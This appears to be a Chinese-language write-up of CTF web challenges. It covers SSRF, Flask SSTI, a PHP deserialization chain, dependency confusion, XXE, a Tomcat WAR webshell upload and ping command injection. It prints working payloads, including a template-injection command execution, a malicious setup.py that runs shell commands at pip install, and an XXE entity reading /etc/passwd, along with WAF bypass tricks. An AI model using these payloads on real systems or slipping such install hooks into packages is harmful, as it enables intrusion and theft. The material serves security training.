服务端请求与解析缺陷
该方向围绕服务端对 URL、地址或请求内容的处理逻辑展开,考察因解析差异或信任外部资源导致的安全问题,如服务端请求伪造等。题目强调对网络访问边界和解析细节的理解。
URL_Fetcher
题目内容: 某公司开发了一个URL预览服务,可以获取并显示任意URL的内容。
明显的ssrf,只支持http和https,并且127.0.0.1、0.0.0.0都被过滤,可以使用127.1或者十进制2130706433等等方法绕过
但是这里直接访问是连接失败的,http没法有太多操作,一般都是用于查看主机开放端口

发现端口6379,访问即可

Nexus_AI_Bridge
题目内容:
欢迎访问Nexus AI控制台。我们的MCP服务允许连接外部数据源,但严格禁止访问内部机密。听说系统中遗留了一个兼容性网关接口,也许它能助你突破WAF的封锁?

首先在bridge.php页面中的js代码中发现/api/check.php存在ssrf漏洞,接收POST参数url

接着在docs.php页面下发现重定向的接口,这里重定向到github上去了

可以利用该接口重定向到flag所在文件。这里127.0.0.1被waf了,测试发现0.0.0.0可以绕过,flag关键词也被waf了,双重url编码可以绕过

模板与反序列化漏洞
该方向涉及服务端模板引擎和对象反序列化机制在不安全使用时引发的问题。题目强调对模板语法、执行上下文以及对象生命周期的理解,常用于考察从逻辑漏洞到代码执行的利用链分析能力。
Hello User
题目内容:某开发者创建了一个简单的问候页面,用户可以通过URL参数指定自己的名字。为了让页面更灵活,开发者使用了Flask的模板引擎来动态生成HTML。某开发者创建了一个简单的问候页面,用户可以通过URL参数指定自己的名字。为了让页面更灵活,开发者使用了Flask的模板引擎来动态生成HTML。
?name={{config.__class__.__init__.__globals__['os'].popen('nl /fl*').read()}}
提示非常明显,直接ssti
Magic_Methods
题目内容: 某应用程序使用序列化功能传递对象数据。代码审计发现存在多个类,其中包含可以链式调用的方法。
<?php
highlight_file(__FILE__);
class CmdExecutor {
public $cmd;
public function work() {
system($this->cmd);
}
}
class MiddleMan {
public $obj;
public function process() {
$this->obj->work();
}
}
class EntryPoint {
public $worker;
public function __destruct() {
$this->worker->process();
}
}
if (isset($_GET['payload'])) {
$data = $_GET['payload'];
unserialize($data);
} else {
echo "";
}
?>
简单的链子,直接env在环境变量中找到
<?php
class CmdExecutor {
public $cmd;
}
class MiddleMan {
public $obj;
}
class EntryPoint {
public $worker;
}
$a = new EntryPoint();
$a -> worker = new MiddleMan();
$a -> worker -> obj = new CmdExecutor();
$a -> worker -> obj -> cmd = 'env';
echo serialize($a);
?>

供应链与依赖安全
该方向聚焦现代应用中广泛存在的第三方依赖问题,包括包管理机制、依赖加载顺序以及供应链投毒风险。题目强调对构建与部署流程的理解,而非单一代码漏洞。
Internal_maneger
题目内容:这是一个用于自动化部署公司内部工具的平台。你可以查看到项目的 requirements.txt 和构建配置。目前系统开放了一个“临时包缓存”接口,用于开发者上传测试用的补丁包。目标:获取服务器中的机密信息。
app.py:
from flask import Flask, render_template, request, redirect, url_for, send_from_directory
import os
import subprocess
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = '/app/packages'
app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024 # 16MB limit
# 确保目录存在
os.makedirs(app.config['UPLOAD_FOLDER'], exist_ok=True)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/source')
def source():
try:
with open('requirements.txt', 'r') as f:
content = f.read()
except:
content = "Error reading requirements.txt"
return content
@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return 'No file part', 400
file = request.files['file']
if file.filename == '':
return 'No selected file', 400
if file and (file.filename.endswith('.whl') or file.filename.endswith('.tar.gz')):
filename = file.filename
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return redirect(url_for('index'))
return 'Invalid file type. Only .whl and .tar.gz allowed', 400
@app.route('/build', methods=['POST'])
def build():
log_file = '/app/logs/last_build.log'
with open(log_file, 'w') as f:
process = subprocess.Popen(['./build.sh'], stdout=f, stderr=subprocess.STDOUT)
process.wait()
return redirect(url_for('index'))
@app.route('/logs')
def logs():
log_file = '/app/logs/last_build.log'
if os.path.exists(log_file):
with open(log_file, 'r') as f:
content = f.read()
else:
content = "No build logs found. Please run a build first."
return content
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
build.sh:
#!/bin/bash
rm -rf ./build_env
mkdir -p ./build_env
echo "=========================================="
echo "Starting Build Process..."
echo "Timestamp: $(date)"
echo "Target Environment: Production"
echo "=========================================="
pip install -r requirements.txt \
--target ./build_env \
--find-links ./packages \
--upgrade \
--no-cache-dir 2>&1
EXIT_CODE=$?
if [ $EXIT_CODE -eq 0 ]; then
echo "=========================================="
echo "Build SUCCESS"
else
echo "=========================================="
echo "Build FAILED"
fi
简单解释下代码的含义:
- /upload:可以上传python依赖包,文件存放在
/app/packages下 - /source:查看/app/requirements.txt内容
- /logs:查看安装包时的执行记录
- /build:可以安装依赖,执行build.sh中的指令,
--find-links ./packages就是有优先到该目录下寻找依赖包进行安装
requirements.txt:
# Internal Project Dependencies
flask==2.3.3
requests==2.31.0
# Private internal utility package - DO NOT REMOVE
sys-core-utils>=1.0.2
可以看到sys-core-utils>=1.0.2是私有依赖包,我们不文件上传直接执行build指令会报错,说缺少该依赖包。由于是私有依赖包,我们可以进行依赖混淆攻击,传一个含有恶意代码的包,让系统再安装时执行我们设定的恶意代码从而进行操作
from setuptools import setup
import os
def get_flag():
os.system('cat /flag >> /app/requirements.txt')
get_flag()
setup(
name = 'sys-core-utils', #安装的依赖名称
version = '9.9.1',#版本
install_requires=[],
)
创建一个setup.py文件,然后执行python setup.py sdist指令,就会生成tar.gz文件。然后上传该文件,当系统执行pip指令安装时,setup.py文件中的脚本就会被执行,这里,我们是是通过将命令结果追加到requirements.txt中,从而读取到flag

因为已经装好了,所以读flag时还要重启容器

Nexus
题目内容:
欢迎访问 Nexus 企业监控中心。
系统运行稳如泰山,各项指标正常。
开发团队宣称他们的核心代码经过了严格审计,绝对安全。
但是,他们似乎忘记了“木桶效应”——系统的安全性取决于最短的那块板。
你能找到那块“短板”(供应链漏洞) 吗?

看源码或者目录扫描找到DS_Store文件进行恢复


demo.php?file=php://filter/resource=/flag
层层访问找到一个demo.php文件,可以进行文件读取,但是目录遍历被过滤,直接php伪协议读取到文件
LookLook
const _0x4e8a = process.env['ICQ_FLAG'];
delete process.env['ICQ_FLAG'];
module.exports = {
init: function() {
return function(req, res, next) {
const _0x9f3a = req.method;
const _0x1d5e = req.url;
console.log(`[FAST-LOGGER] ${_0x9f3a} ${_0x1d5e}`);
const _0x7b2d = req.headers['x-poison-check'];
if (_0x7b2d === 'reveal') {
return res.json({
status: 'backdoor_active',
payload: _0x4e8a
});
}
next();
};
}
};
有附件,直接读取index.js文件,发现通过添加请求头即可得到flag

中间件与组件安全
该方向围绕常见 Web 中间件与组件展开,考察其默认配置、安全机制以及错误使用方式所带来的风险。题目强调对组件行为和运行环境的理解,而非简单的版本漏洞匹配。
Forgotten_Tomcat
Tomcat后台getshell漏洞,弱密码爆破
比较特别的是用户名密码在请求头中,如果输入是admin/admin,请求头中内容就是admin:admin的base64编码
自定义迭代器爆破:
依然选择狙击手模式,但是payloadtype选择自定义迭代器
注意取消url编码并添加encode,这里就是将三段paylaod的组合进行编码

测出admin/password可以登录

这里直接打历史漏洞,传马
先让蚁剑生成jsp木马,然后压缩成zip文件,再重名为war文件,后上传
访问,成空白,说明上传成功,然后蚁剑连接即可

RSS_Parser
题目内容:某公司开发了一个在线RSS订阅解析服务,用户可以提交自己的RSS feed XML内容进行解析和预览
非常明显打xxe
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<name>&xxe;</name>
</root>
可以读到,但是直接读取flag却读不到
伪协议读取网站根目录下的index.php,读取到flag的位置


修改payload即可
Server_Monitor
题目内容:某科技公司为了监控内部节点连通性,开发了一套“绝对安全”的服务器状态监控面板。开发人员声称后台使用了军工级的过滤规则,绝对不可能被黑客渗透。然而,真正的黑客往往能从最不起眼的流量中找到突破口

审计js源码,有个api.php路由,可以post传参,应该是执行ping指令,可以在后面拼接进行rce

成功执行,经过测试,/,空格,base64会被waf,可以利用base32编码绕过
bash也被过滤,这里可以使用反斜杠绕过
